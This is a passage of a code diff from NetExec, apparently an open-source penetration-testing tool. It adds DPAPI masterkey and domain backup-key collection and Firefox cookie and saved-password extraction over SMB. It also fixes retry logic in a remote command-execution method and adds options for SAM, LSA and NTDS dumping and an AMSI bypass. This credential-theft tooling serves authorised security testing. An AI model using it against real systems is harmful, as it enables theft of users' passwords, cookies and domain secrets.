nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: Optional[str] = None):
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
@@ -748,11 +748,11 @@ class database(BaseDB):
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: Optional[str] = None,
|
||||
dpapi_type: Optional[str] = None,
|
||||
windows_user: Optional[str] = None,
|
||||
username: Optional[str] = None,
|
||||
url: Optional[str] = None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecrets)
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if context.password != "":
|
||||
plaintexts[context.username] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -7,10 +7,14 @@ import ntpath
|
||||
from os import remove
|
||||
import sqlite3
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
|
||||
@@ -21,6 +25,16 @@ class FirefoxData:
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
@dataclass
|
||||
class FirefoxCookie:
|
||||
winuser: str
|
||||
host: str
|
||||
path: str
|
||||
cookie_name: str
|
||||
cookie_value: str
|
||||
creation_utc: str
|
||||
expires_utc: str
|
||||
last_access_utc: str
|
||||
|
||||
class FirefoxTriage:
|
||||
"""
|
||||
@@ -41,23 +55,19 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None):
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
|
||||
def upgrade_connection(self, connection=None):
|
||||
self.conn = DPLootSMBConnection(self.target)
|
||||
if connection is not None:
|
||||
self.conn.smb_session = connection
|
||||
else:
|
||||
self.conn.connect()
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self):
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
self.upgrade_connection()
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
for user in users:
|
||||
@@ -71,6 +81,11 @@ class FirefoxTriage:
|
||||
continue
|
||||
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
if logins_data is None:
|
||||
@@ -79,7 +94,7 @@ class FirefoxTriage:
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
if key4_data is None:
|
||||
continue
|
||||
key = self.get_key(key4_data=key4_data)
|
||||
@@ -94,20 +109,45 @@ class FirefoxTriage:
|
||||
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
|
||||
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
|
||||
if password is not None and decoded_username is not None:
|
||||
firefox_data.append(
|
||||
FirefoxData(
|
||||
data = FirefoxData(
|
||||
winuser=user,
|
||||
url=host,
|
||||
username=decoded_username,
|
||||
password=password,
|
||||
)
|
||||
)
|
||||
if self.per_secret_callback is not None:
|
||||
self.per_secret_callback(data)
|
||||
firefox_data.append(data)
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
self.logger.exception(e)
|
||||
return firefox_data
|
||||
|
||||
def parse_cookie_data(self, windows_user, cookies_data):
|
||||
cookies = []
|
||||
fh = tempfile.NamedTemporaryFile(delete=False)
|
||||
fh.write(cookies_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
cursor = db.cursor()
|
||||
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
|
||||
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
|
||||
cookie = FirefoxCookie(
|
||||
winuser=windows_user,
|
||||
host=host,
|
||||
path=path,
|
||||
cookie_name=name,
|
||||
cookie_value=value,
|
||||
creation_utc=creationTime,
|
||||
last_access_utc=lastAccessed,
|
||||
expires_utc=expiry,
|
||||
)
|
||||
if self.per_secret_callback is not None:
|
||||
self.per_secret_callback(cookie)
|
||||
cookies.append(cookie)
|
||||
return cookies
|
||||
|
||||
def get_login_data(self, logins_data):
|
||||
json_logins = json.loads(logins_data)
|
||||
if "logins" not in json_logins:
|
||||
|
||||
@@ -249,7 +249,7 @@ class MMCEXEC:
|
||||
self.__outputBuffer = ""
|
||||
return
|
||||
|
||||
tries = 0
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
@@ -258,7 +258,7 @@ class MMCEXEC:
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries > self.__tries:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
@@ -270,16 +270,20 @@ class MMCEXEC:
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
|
||||
self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -23,7 +23,7 @@ def convert(low, high, lockout=False):
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if low == 0 and hex(high) == "-0x80000000":
|
||||
if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000:
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
@@ -35,7 +35,7 @@ def convert(low, high, lockout=False):
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high) * 16**8 # convert to 64bit int
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
@@ -1,29 +1,32 @@
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
|
||||
|
||||
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
|
||||
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
|
||||
|
||||
|
||||
dgroup = smb_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
||||
|
||||
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
|
||||
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
|
||||
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
|
||||
smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection")
|
||||
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
|
||||
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
|
||||
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
|
||||
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
|
||||
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
|
||||
self_delegate_arg.make_required = [delegate_arg]
|
||||
|
||||
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
|
||||
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
@@ -33,20 +36,24 @@ def proto_args(parser, parents):
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
|
||||
|
||||
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--shares", action="store_true", help="Enumerate shares and access")
|
||||
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
|
||||
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
|
||||
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions")
|
||||
mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks")
|
||||
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.")
|
||||
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.")
|
||||
mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
|
||||
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated")
|
||||
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users")
|
||||
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated")
|
||||
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections")
|
||||
mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes")
|
||||
|
||||
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
|
||||
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
|
||||
@@ -69,7 +76,7 @@ def proto_args(parser, parents):
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
|
||||
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction)
|
||||
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
|
||||
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
|
||||
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
@@ -78,7 +85,7 @@ def proto_args(parser, parents):
|
||||
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
|
||||
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
|
||||
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
|
||||
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
|
||||
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
|
||||
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
|
||||
@@ -86,7 +93,6 @@ def proto_args(parser, parents):
|
||||
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
|
||||
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
|
||||
|
||||
|
||||
return parser
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
@@ -101,4 +107,4 @@ def get_conditional_action(baseAction):
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
return ConditionalAction
|
||||
|
||||
@@ -9,7 +9,6 @@ from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class SamrFunc:
|
||||
@@ -26,6 +25,7 @@ class SamrFunc:
|
||||
self.aesKey = connection.aesKey
|
||||
self.doKerberos = connection.kerberos
|
||||
self.kdcHost = connection.kdcHost
|
||||
self.host = connection.host
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(":") != -1:
|
||||
@@ -36,64 +36,57 @@ class SamrFunc:
|
||||
if self.password is None:
|
||||
self.password = ""
|
||||
|
||||
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
|
||||
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger)
|
||||
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
|
||||
|
||||
def get_builtin_groups(self):
|
||||
def get_builtin_groups(self, group):
|
||||
domains = self.samr_query.get_domains()
|
||||
|
||||
members = {}
|
||||
if "Builtin" not in domains:
|
||||
logging.error("No Builtin group to query locally on")
|
||||
return None
|
||||
|
||||
domain_handle = self.samr_query.get_domain_handle("Builtin")
|
||||
return self.samr_query.get_domain_aliases(domain_handle)
|
||||
builtin_groups = self.samr_query.get_domain_aliases(domain_handle, group)
|
||||
if group:
|
||||
members = self.get_local_users(builtin_groups, domain_handle)
|
||||
return builtin_groups, members
|
||||
|
||||
def get_custom_groups(self):
|
||||
def get_custom_groups(self, group=None):
|
||||
domains = self.samr_query.get_domains()
|
||||
custom_groups = {}
|
||||
|
||||
members = {}
|
||||
for domain in domains:
|
||||
if domain == "Builtin":
|
||||
continue
|
||||
domain_handle = self.samr_query.get_domain_handle(domain)
|
||||
custom_groups.update(self.samr_query.get_domain_aliases(domain_handle))
|
||||
return custom_groups
|
||||
custom_groups.update(self.samr_query.get_domain_aliases(domain_handle, group))
|
||||
if group:
|
||||
members = self.get_local_users(custom_groups, domain_handle)
|
||||
return custom_groups, members
|
||||
|
||||
def get_local_groups(self):
|
||||
builtin_groups = self.get_builtin_groups()
|
||||
custom_groups = self.get_custom_groups()
|
||||
return {**builtin_groups, **custom_groups}
|
||||
def get_local_groups(self, group=None):
|
||||
if group:
|
||||
self.logger.display(f"Querying group: {group}")
|
||||
builtin_groups, builtin_groups_members = self.get_builtin_groups(group)
|
||||
custom_groups, custom_groups_members = self.get_custom_groups(group)
|
||||
return {**builtin_groups, **custom_groups}, builtin_groups_members | custom_groups_members
|
||||
|
||||
def get_local_users(self):
|
||||
pass
|
||||
|
||||
def get_local_administrators(self):
|
||||
self.get_builtin_groups()
|
||||
if "Administrators" in self.groups:
|
||||
self.logger.success(f"Found Local Administrators group: RID {self.groups['Administrators']}")
|
||||
domain_handle = self.samr_query.get_domain_handle("Builtin")
|
||||
self.logger.debug("Querying group members")
|
||||
member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"])
|
||||
member_names = self.lsa_query.lookup_sids(member_sids)
|
||||
|
||||
for sid, name in zip(member_sids, member_names):
|
||||
print(f"{name} - {sid}")
|
||||
def get_local_users(self, group, domain_handle):
|
||||
users = {}
|
||||
try:
|
||||
for alias_id in group.values():
|
||||
member_sids = self.samr_query.get_alias_members(domain_handle, alias_id)
|
||||
member_names = self.lsa_query.lookup_sids(member_sids)
|
||||
users = dict(zip(member_sids, member_names, strict=True))
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error enumerating users in {group}: {e}")
|
||||
return {}
|
||||
return users
|
||||
|
||||
|
||||
class SAMRQuery:
|
||||
def __init__(
|
||||
self,
|
||||
username="",
|
||||
password="",
|
||||
domain="",
|
||||
port=445,
|
||||
remote_name="",
|
||||
remote_host="",
|
||||
kerberos=None,
|
||||
kdcHost="",
|
||||
aesKey="",
|
||||
):
|
||||
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kerberos=None, kdcHost="", aesKey="", logger=None,):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
@@ -105,12 +98,13 @@ class SAMRQuery:
|
||||
self.__remote_host = remote_host
|
||||
self.__kerberos = kerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.logger = logger
|
||||
self.dce = self.get_dce()
|
||||
self.server_handle = self.get_server_handle()
|
||||
|
||||
def get_transport(self):
|
||||
string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
|
||||
nxc_logger.debug(f"Binding to {string_binding}")
|
||||
self.logger.debug(f"Binding to {string_binding}")
|
||||
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
|
||||
return transport.SMBTransport(
|
||||
self.__remote_name,
|
||||
@@ -146,11 +140,13 @@ class SAMRQuery:
|
||||
try:
|
||||
resp = samr.hSamrConnect(self.dce)
|
||||
except samr.DCERPCException as e:
|
||||
nxc_logger.debug(f"Error while connecting with Samr: {e}")
|
||||
if "rpc_s_access_denied" in str(e):
|
||||
raise
|
||||
self.logger.debug(f"Error while connecting with Samr: {e}")
|
||||
return None
|
||||
return resp["ServerHandle"]
|
||||
else:
|
||||
nxc_logger.debug("Error creating Samr handle")
|
||||
self.logger.debug("Error creating Samr handle")
|
||||
|
||||
def get_domains(self):
|
||||
"""Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list."""
|
||||
@@ -162,12 +158,15 @@ class SAMRQuery:
|
||||
resp = samr.hSamrOpenDomain(self.dce, serverHandle=self.server_handle, domainId=resp["DomainId"])
|
||||
return resp["DomainHandle"]
|
||||
|
||||
def get_domain_aliases(self, domain_handle):
|
||||
def get_domain_aliases(self, domain_handle, group=None):
|
||||
"""Use a dictionary comprehension to generate the aliases dictionary.
|
||||
|
||||
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
|
||||
"""
|
||||
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
|
||||
aliases = {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
|
||||
if group:
|
||||
aliases = {name: rid for name, rid in aliases.items() if name == group}
|
||||
return aliases
|
||||
|
||||
def get_alias_handle(self, domain_handle, alias_id):
|
||||
resp = samr.hSamrOpenAlias(self.dce, domain_handle, desiredAccess=MAXIMUM_ALLOWED, aliasId=alias_id)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user